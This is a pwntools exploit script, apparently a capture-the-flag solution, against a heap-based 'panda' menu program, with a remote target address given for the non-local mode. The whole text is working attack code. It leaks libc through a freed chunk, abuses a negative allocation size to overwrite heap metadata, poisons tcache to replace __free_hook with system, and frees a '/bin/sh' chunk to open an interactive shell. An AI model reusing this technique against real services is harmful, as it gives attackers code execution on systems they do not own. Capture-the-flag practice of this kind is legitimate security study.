1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| from pwn import *
filename = './main' context.arch='amd64' context.log_level = "debug" context.terminal = ['tmux', 'splitw', '-h'] local = 1 all_logs = [] elf = ELF(filename) libc = elf.libc
if local: sh = process(filename) else: sh = remote('173.30.16.227', 9999)
def debug(params=''): for an_log in all_logs: success(an_log) pid = util.proc.pidof(sh)[0] gdb.attach(pid, params)
choice_words = 'Enter your choice: '
menu_del = 4 del_index_words = 'Enter panda id to delete: '
menu_show = 3 show_index_words = ''
def add(size, name, content): sh.sendlineafter(choice_words, '1') sh.sendlineafter('Enter size: ', str(size)) sh.sendafter('Enter panda name: ', name) sh.sendafter('Enter panda content: ', content)
def delete(index=-1): sh.sendlineafter(choice_words, str(menu_del)) if del_index_words: sh.sendlineafter(del_index_words, str(index))
def show(index=-1): sh.sendlineafter(choice_words, str(menu_show)) if show_index_words: sh.sendlineafter(show_index_words, str(index))
def edit(index, name, content): sh.sendlineafter(choice_words, '2') sh.sendlineafter('Enter panda id to edit: ', str(index)) sh.sendlineafter('Enter panda name: ', name) sh.sendafter('Enter panda content: ', content)
def leak_info(name, addr): output_log = '{} => {}'.format(name, hex(addr)) all_logs.append(output_log) success(output_log)
add(size=0x500, name=b'aaa', content=b'content') add(size=0x80, name='name', content='content')
delete(index=0) debug("b *$rebase(0x00000000000192B)") add(size=0x500, name=b'a', content=b'z') debug("b *$rebase(0x01656)") show() sh.recvuntil('Name: ') sh.recvuntil('Name: ') libc_leak = u64(sh.recv(6).ljust(8, b'\x00')) leak_info('libc_leak', libc_leak) libc.address = libc_leak - 0x1ecb61 leak_info('libc.address', libc.address)
add(size=-0x10, name=b'aaa', content=b'a'*0x10) add(size=0x10, name=b'aaa', content='bbb') add(size=0x10, name=b'aaa', content='bbb') add(size=0x10, name=b'aaa', content='bbb') add(size=0x10, name=b'aaa', content='bbb')
delete(index=4) delete(index=3) add(size=0x50, name=b'aaa', content='bbb')
payload = p64(0)*3 + p64(0x41) + p64(libc.sym['__free_hook']) edit(index=2, name=b'a', content=payload) add(size=0x10, name='/bin/sh\x00', content=b'a') add(size=0x10, name=p64(libc.sym['system']), content=b'a')
delete(index=6) sh.interactive()
|